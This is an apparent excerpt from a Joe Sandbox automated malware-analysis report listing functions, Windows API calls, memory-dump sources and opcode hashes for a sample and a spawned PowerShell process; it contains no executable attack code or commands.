Opcode Fuzzy Hash: 3b64e0c453ee803b4641a5d84aed248e207ef1b30bb89f9bb9a539396ea86ecc
Instruction Fuzzy Hash: 6A11ACB58043488FCB20DFAAC444BDEFFF8EB08724F24845AD459A7251D375A840CFA1

Function 04AE42A0 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 04AE42FD

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 553b4c35371e5e4e3b1eda954c1b3322d1677c5d334ac697e7a13a3b4e625cdc
Instruction ID: 97b4cb9dbe255dea18fed0f7516ddb10c574b959fa23e3b811c23d0494eb1a66
Opcode Fuzzy Hash: 553b4c35371e5e4e3b1eda954c1b3322d1677c5d334ac697e7a13a3b4e625cdc
Instruction Fuzzy Hash: 3B1103B5800349DFDB10CF9AC845BEEFBF8EB58320F10841AE558A7251D378A984CFA5

Function 073536B8 Relevance: 1.5, APIs: 1, Instructions: 47threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 073552E8

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: a66e7dfc9a28384b3aff5ae0f9aef7129ce3abd98e7ec3e8558b12e091e715ad
Instruction ID: a46158266ecfa740ab67c65fa04b54e809db3ef431723a14a10f1bee754c2533
Opcode Fuzzy Hash: a66e7dfc9a28384b3aff5ae0f9aef7129ce3abd98e7ec3e8558b12e091e715ad
Instruction Fuzzy Hash: FD1125B18003099FEB10CF89C94ABEEBFF4EB08324F10841AE959B7250C375A584CFA5

Function 04AEC699 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 04AEC6FD

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 9f8f2ed04904147e9f584ac0ccb1e168fa4a1fe2e36459ebd18d060e90e28da2
Instruction ID: b59bfdcdf34293959c65e1f5549de9ae0fae07d351ca898ec8154cca7918e06f
Opcode Fuzzy Hash: 9f8f2ed04904147e9f584ac0ccb1e168fa4a1fe2e36459ebd18d060e90e28da2
Instruction Fuzzy Hash: F71122B1C047888FCB10CFAAD4446DEFBF0EF49324F10845AD469A7251D374A144CFA2

Function 04AE4F79 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32 ref: 04AE4FD5

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 70089ad4dde4333c7ecd204ac920b0da87f4bbfb78ee78e6c6d645dd1458f8ec
Instruction ID: 0a89a9b4d1303f3ae9a0b8f190557be887ca390c2382426cdbdf2c87366c3950
Opcode Fuzzy Hash: 70089ad4dde4333c7ecd204ac920b0da87f4bbfb78ee78e6c6d645dd1458f8ec
Instruction Fuzzy Hash: 5B1179B58043888FCB20DFAAD444BDEFFF4EB49724F24889AD198A7251D375A445CFA1

Function 04AE0DCA Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 04AE0E2D

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 244b951d94e5f9897b396de72cbefd0668f69bd73a690cad0b5faa070692d96e
Instruction ID: 9189e78ed9fce6ceda71b300443b0d1f1a49498b20ff0cde36ddc6200205b28f
Opcode Fuzzy Hash: 244b951d94e5f9897b396de72cbefd0668f69bd73a690cad0b5faa070692d96e
Instruction Fuzzy Hash: 5D11F2B58003589FDB10DF9AD845BEEBFF8EB48320F10845AE558A7250C3B5A584CFA1

Function 07355280 Relevance: 1.5, APIs: 1, Instructions: 45threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 073552E8

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: ae364641bd33f537af91ea0787aa8a336864a18bf063f0e453abb27fa5e8bd6f
Instruction ID: 1a29fe1907ef3124abda27f0e3b89040e97aedb3c1e56baeee1ab9f77fb02026
Opcode Fuzzy Hash: ae364641bd33f537af91ea0787aa8a336864a18bf063f0e453abb27fa5e8bd6f
Instruction Fuzzy Hash: 1D1143B58003498EEB10CF98D945BDEBFF0EB08324F10845AD598BB291C375A984CFA4

Function 04AEC6A0 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 04AEC6FD

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 3a0db765e1496fe4cec118add4d695f7f15d649846e055964f849a18b0a84a61
Instruction ID: 24388722f8e2346d315f89c7f62d800f464a0514c4e24d92d162fc4399bef035
Opcode Fuzzy Hash: 3a0db765e1496fe4cec118add4d695f7f15d649846e055964f849a18b0a84a61
Instruction Fuzzy Hash: 031100B5C047988FCB20DFAAD844ADEFBF4EF49324F14845AD468A7251D374A144CFA6

Function 04AE0DD0 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 04AE0E2D

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: fb44314ceebcfc23a5d65f35a23a329e5b1fcf999845ddfc4a0e4bc70d7fc9d1
Instruction ID: 62c7a10eadec4800c311d77563b3c79da94dd069dfe96a5694ce0ea8efde19b0
Opcode Fuzzy Hash: fb44314ceebcfc23a5d65f35a23a329e5b1fcf999845ddfc4a0e4bc70d7fc9d1
Instruction Fuzzy Hash: AD1112B5800358DFDB10DF9AD884BDEFBF8EB48320F10841AE558A7210C3B5A984CFA1

Function 00F6D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2130873411.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f6d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb696909587dcfe218baeac8b7257b80d03e02829fa687e6ab8d2779fdfb0e5f
Instruction ID: 5ce9d9b1e29b4ab903971eba07303b1ec42f6d710f7bb56e0c6e59039d3799c3
Opcode Fuzzy Hash: eb696909587dcfe218baeac8b7257b80d03e02829fa687e6ab8d2779fdfb0e5f
Instruction Fuzzy Hash: 48212872A00244DFDB05DF14D9C0B16BF65FB98324F24C169D9094B256C736EC56E6A2

Function 00F7D2D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132885047.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2faee82d6362ea46e9013ee484505ac50efa609d0649567b2933073933359857
Instruction ID: 0d17ae7cde53e07e70ed60cdc89f5766598e43df5d668562fddd2e43971877c2
Opcode Fuzzy Hash: 2faee82d6362ea46e9013ee484505ac50efa609d0649567b2933073933359857
Instruction Fuzzy Hash: 5B212672504204EFDB40DF14D5C4B2ABBB5FF84324F64C66AD84D4B256C33AD846E6A3

Function 00F7D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132885047.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce37209d3b7c69d7a60bbefedd8c74a379a8d4eabc1b512822bea769bfb6fa6
Instruction ID: e5297f2c1a23e6cf7c9081ffe3d2553526b165c5e1e39555b204db308b9973d3
Opcode Fuzzy Hash: 4ce37209d3b7c69d7a60bbefedd8c74a379a8d4eabc1b512822bea769bfb6fa6
Instruction Fuzzy Hash: 3421D371A04204DFDB05DF14D980B26BBB5FF84324F64C56AD94D4B256C336D846DA62

Function 00F7D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132885047.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925d1a98d7f6f12aa257b9c1da72de3276da837a059fcbad23aa2e14cb523b86
Instruction ID: 3f697da5f892a4d06e000d8926302160071cb9bd0712f06ec524119d3c4c7a62
Opcode Fuzzy Hash: 925d1a98d7f6f12aa257b9c1da72de3276da837a059fcbad23aa2e14cb523b86
Instruction Fuzzy Hash: 3C21F275604200DFCB14DF14D984B26BBB5EF84324F64C56ED80E4B29AC33AD847DA62

Function 00F7D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132885047.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe7accfc92fead2c2f56afe6b4b8cfcee0aa9644e8d1ae2608d17e1fca25d5a
Instruction ID: 161440c7dbc6ca4b015b47a9ab090ce4feb6728793bb0217cc39854d57c630f9
Opcode Fuzzy Hash: cbe7accfc92fead2c2f56afe6b4b8cfcee0aa9644e8d1ae2608d17e1fca25d5a
Instruction Fuzzy Hash: 21214F755093808FDB12CF24D994715BF71EF46214F28C5EBD8498B6A7C33A980ADB62

Function 00F6D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2130873411.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f6d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: ef65d82679139a69df83aa90bf261cfac12b380af42920492ba24f1c000d147c
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: ED110372904240CFCB06CF00D5C4B16BF71FB94324F24C2A9D8090B256C33AE85ADBA1

Function 00F7D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132885047.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 3f7cc032fe7f5cfd72fc989b2aff86de77dbc6f701e9fda372ae8545ac0ea0b0
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: C311A975904280DFCB06CF10C9C4B15BBB1FB84324F28C6AAD8494B296C33AD81ADB62

Function 00F7D2CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132885047.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f7d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 6ac1f1c6f53cdea71d85ca21b458359191110dba3ab398159353cb2b48573a79
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: 1311B275904280DFDB11CF14D5C4B19FF71FB84324F24C6AAD8494B656C33AD81ADBA2

Function 00F6D781 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2130873411.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f6d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57f1d6a39deb09d8867b44c286d97051650d42f83d5c851d98214862fb1b7f51
Instruction ID: 16c03c2c19573cf5091f1db113fd27e29535ddda70bd92b3274c0459bbedd2cd
Opcode Fuzzy Hash: 57f1d6a39deb09d8867b44c286d97051650d42f83d5c851d98214862fb1b7f51
Instruction Fuzzy Hash: 33012B31A083409AE7108F29CD84767FFD8EF41334F18C52AED090E182C238DC40D6B2

Function 00F6D780 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2130873411.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f6d000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 289edab0c6b3ab499043c295d482a7c50d774551f11af7b5b51024d3eafe45d5
Instruction ID: a34a601c1b218ce9d57857724aacce12ad4c791bdff2097989df758586e6dca1
Opcode Fuzzy Hash: 289edab0c6b3ab499043c295d482a7c50d774551f11af7b5b51024d3eafe45d5
Instruction Fuzzy Hash: 24F062719083449AE7108A1ACD84B66FFE8EF95734F18C55AED084F296C2799C44DAB1

Non-executed Functions

Function 04AE0040 Relevance: 6.9, Strings: 5, Instructions: 653COMMON

Download Yara Rule

Strings

Hbq, xrefs: 04AE0863
Hbq, xrefs: 04AE0694
Hbq, xrefs: 04AE07A5
Hbq, xrefs: 04AE071B
Hbq, xrefs: 04AE0601

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq$Hbq$Hbq
API String ID: 0-1677660839
Opcode ID: f343fb53d99507833e4fd28ae23ae63aa501046a84337b8bffb332315dc75139
Instruction ID: 3f16d9cd4006c5edb7d7481d3a4d7a5c071aa4febdf0dedb2fb9368bc87fca4d
Opcode Fuzzy Hash: f343fb53d99507833e4fd28ae23ae63aa501046a84337b8bffb332315dc75139
Instruction Fuzzy Hash: A9426F30A00268CFDB54DFA9C8907AEBBF2EF88300F148569D459AB395DB74AD45CF91

Function 04AE0023 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35dc8bbf3d928b39a83104fbbf8e8165139c0d96b0735f2ea095548645c701a2
Instruction ID: 89a80b90276d7257ac950bba36d9ac87446868d15c31d585e69b273b2e46ad75
Opcode Fuzzy Hash: 35dc8bbf3d928b39a83104fbbf8e8165139c0d96b0735f2ea095548645c701a2
Instruction Fuzzy Hash: 91C16C31E042198FDF14CFA6C9807ADBBB2EF89300F14C5AAD459AB255EB70E985CF51

Function 0118D324 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2133925487.0000000001180000.00000040.00000800.00020000.00000000.sdmp, Offset: 01180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1180000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f534d3beaad2d6721bc7c7c88b5ce57326ceff2aace44290f9b8eef38d257f
Instruction ID: 9c897d80ca766bdfff12cad808d5aad11b4a7c606cfaa00868dfc06a625927a1
Opcode Fuzzy Hash: 00f534d3beaad2d6721bc7c7c88b5ce57326ceff2aace44290f9b8eef38d257f
Instruction Fuzzy Hash: 6DA16F36A0021ACFCF09EFB4D84459EB7B2FF85304B25816AE901AB265DB35E956CF50

Analysis Process: powershell.exePID: 3164, Parent PID: 7148COMMON

Executed Functions

Function 04A5B748 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f122bb596b6f49e10d44d84ad2fb8de02fade6eea51f8b1c350f869a1df7c76
Instruction ID: eef22ab8244857684fca8e17e5e252f8e0f2fccddae7b1d0b3cd8d6a8c5adc8c
Opcode Fuzzy Hash: 4f122bb596b6f49e10d44d84ad2fb8de02fade6eea51f8b1c350f869a1df7c76
Instruction Fuzzy Hash: 76916571B006549FEB29EFB4C4145AEBBE2EFC4604B00892DD54ABB350DF746D0A8BD6

Function 04A5B770 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2508f3abd9abdba11eb85e7887b46373b873164aa8987794fc4ba744fb4a69dc
Instruction ID: 571ad8fd7dd4ed1ace770455d9f739ab0af9e8400970819c1d44fc0cdcb6bb8b
Opcode Fuzzy Hash: 2508f3abd9abdba11eb85e7887b46373b873164aa8987794fc4ba744fb4a69dc
Instruction Fuzzy Hash: 77915571B006199BEB29EFB4C4145AEB7E2EFC4604B00892DD50ABB350DF746D0A8BD6

Function 07983CE8 Relevance: 5.6, Strings: 4, Instructions: 591COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07984180
4'^q, xrefs: 0798418A
4'^q, xrefs: 07984026
4'^q, xrefs: 07984030

Memory Dump Source

Source File: 00000005.00000002.1984456562.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7980000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: 8d35fca4222419195210b34708c85b1978c9f5928882b3a199907d620f135c40
Instruction ID: 2bdc17640dddc8732f89b6a83d9a95235528b4efa59bbd05123a681de176cb04
Opcode Fuzzy Hash: 8d35fca4222419195210b34708c85b1978c9f5928882b3a199907d620f135c40
Instruction Fuzzy Hash: D81268B17042468FCB55AF6898007AFBBA6AFD2728F14847BD505CF362DE35C846C7A1

Function 07982308 Relevance: 3.1, Strings: 2, Instructions: 644COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07982619
4'^q, xrefs: 0798260D

Memory Dump Source

Source File: 00000005.00000002.1984456562.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7980000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 3912c152fc564761bf6957e29fbddb938b0c37514b5e778e7f3a121d5d5b5493
Instruction ID: 153c6d99023855e09a50c53910cf51acc2a529ce896548f8a68ce3309aaa0b57
Opcode Fuzzy Hash: 3912c152fc564761bf6957e29fbddb938b0c37514b5e778e7f3a121d5d5b5493
Instruction Fuzzy Hash: 442236B1B00206DFDB54AF69D5006AABBEABF85324F0484BAD505CF351DB36DC85CBA1

Function 04A57288 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

(bq, xrefs: 04A573AD

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: a82d7a93539a60ee27c3e54c400683e3ed85c1d66085e397b73857fc4408df6f
Instruction ID: 56d73cf349659f4f0392539aa7a5d9989771d43de8ed625bba2669b1083d9a71
Opcode Fuzzy Hash: a82d7a93539a60ee27c3e54c400683e3ed85c1d66085e397b73857fc4408df6f
Instruction Fuzzy Hash: 1C41FB38B042158FDB15DF68C558AADBBF1EF89725F1540A8E806BB3A1DB35EC01CB61

Function 04A5B278 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

(&^q, xrefs: 04A5B29A

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: a15bc7c3e3b7a34a334286457a52408a7ea6bf602794f9b21fca093487f66dc4
Instruction ID: a74dcdfbc9a5caa2c13ef54bfdb52d16cf7b18bbbe96ab15f52c3914cdab5366
Opcode Fuzzy Hash: a15bc7c3e3b7a34a334286457a52408a7ea6bf602794f9b21fca093487f66dc4
Instruction Fuzzy Hash: 4521B071A042588FCB14DFAEE504BAEBFF5EF89320F14846ED418E7350CA34A845CBA5

Function 04A529F0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fbb5e6d3e77f019edd77fd0dfbf6f1d1805e9e2fafede37f033bbc78c8b22db
Instruction ID: 4a92f308f099102cd736d7ade7c7b5087092e9b35a20a0fd66bab44f2f58f578
Opcode Fuzzy Hash: 8fbb5e6d3e77f019edd77fd0dfbf6f1d1805e9e2fafede37f033bbc78c8b22db
Instruction Fuzzy Hash: 1F917AB5A002058FCB15CF59C594AAEFBB1FF88310B248599D915AB365C736FC41CFA0

Function 04A5BD90 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 051aa865612555f0b8433138165a5d66418d00ffb4e89cf36542057f98550e80
Instruction ID: a00a042acc70fc95ffb909cc138f64f0b3cfece2097141d2ba3e09a45f849c1e
Opcode Fuzzy Hash: 051aa865612555f0b8433138165a5d66418d00ffb4e89cf36542057f98550e80
Instruction Fuzzy Hash: 27611971E01248DFCB14DFA9D58469DBBF1FF88311F18816AE819AB365DB34A845CF60

Function 04A579E8 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a6b71ca2653096bdae59f9ce42a57f7024b93cd34d7c06fb0902c2bc699623c
Instruction ID: 2c5a7435b760f898a3b6226020f13e404a695902e760f8ac2f8691676dbcedb6
Opcode Fuzzy Hash: 6a6b71ca2653096bdae59f9ce42a57f7024b93cd34d7c06fb0902c2bc699623c
Instruction Fuzzy Hash: AE51D2383042059FD714CB79D944A2ABBE6EFC8314F1545B9E90ADB361EB35EC018BA0

Function 04A5BDA0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1553a9991838a52444bb30e7e5bb96fe9a5740c1d216f95293f53e180037a535
Instruction ID: 565d7ce9a92b9f5d35adb094e948372e94c742d37250263c42238ff8bd417c91
Opcode Fuzzy Hash: 1553a9991838a52444bb30e7e5bb96fe9a5740c1d216f95293f53e180037a535
Instruction Fuzzy Hash: FD61E771E00248DFDB14DFA9D58469DBBF5EF88315F18816AE809AB264DB34AC45CF60

Function 04A5E819 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2bb743c9f5dc68e7ca73efb60c6a6cb80689265a54a564d5a170bb2d76f1ad8
Instruction ID: 815f03f8edf92ec7fea8da162fbea6b02ccb7f7406b29b0c8155f2d1f62fc87a
Opcode Fuzzy Hash: d2bb743c9f5dc68e7ca73efb60c6a6cb80689265a54a564d5a170bb2d76f1ad8
Instruction Fuzzy Hash: 08515D74B00205CFDB14DF6CC69492ABBE6FF883107158469E949CB32AEB34ED058B91

Function 04A5E828 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 798869fb8f1e8b0ad352b03ccaedd8749fa7e5e7f598e43c79418a51e2c2cc23
Instruction ID: 73680b0939625588933ae7b50c4d897673321c2f06765a085a5c14cc81ccdc3d
Opcode Fuzzy Hash: 798869fb8f1e8b0ad352b03ccaedd8749fa7e5e7f598e43c79418a51e2c2cc23
Instruction Fuzzy Hash: DF411B74B10205CFDB10DF6CC69492EBBE6FF88314B158469E949DB329EB34ED058B91

Function 07983CCC Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1984456562.0000000007980000.00000040.00000800.00020000.00000000.sdmp, Offset: 07980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ead3f4d5f2745923e75047f3d9bfe612250f8f1c6f454ce84f3477b4e185f90
Instruction ID: 276eaf01e58e9bc419265604ace1a8c93c5ae8783b223644ae649372c24cfb35
Opcode Fuzzy Hash: 8ead3f4d5f2745923e75047f3d9bfe612250f8f1c6f454ce84f3477b4e185f90
Instruction Fuzzy Hash: 79410AF0A002069BCB65AF24C5017AE7BAAAF81B18F148497D9059F252DB39DC45CBA1

Function 04A52B00 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1977754721.0000000004A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
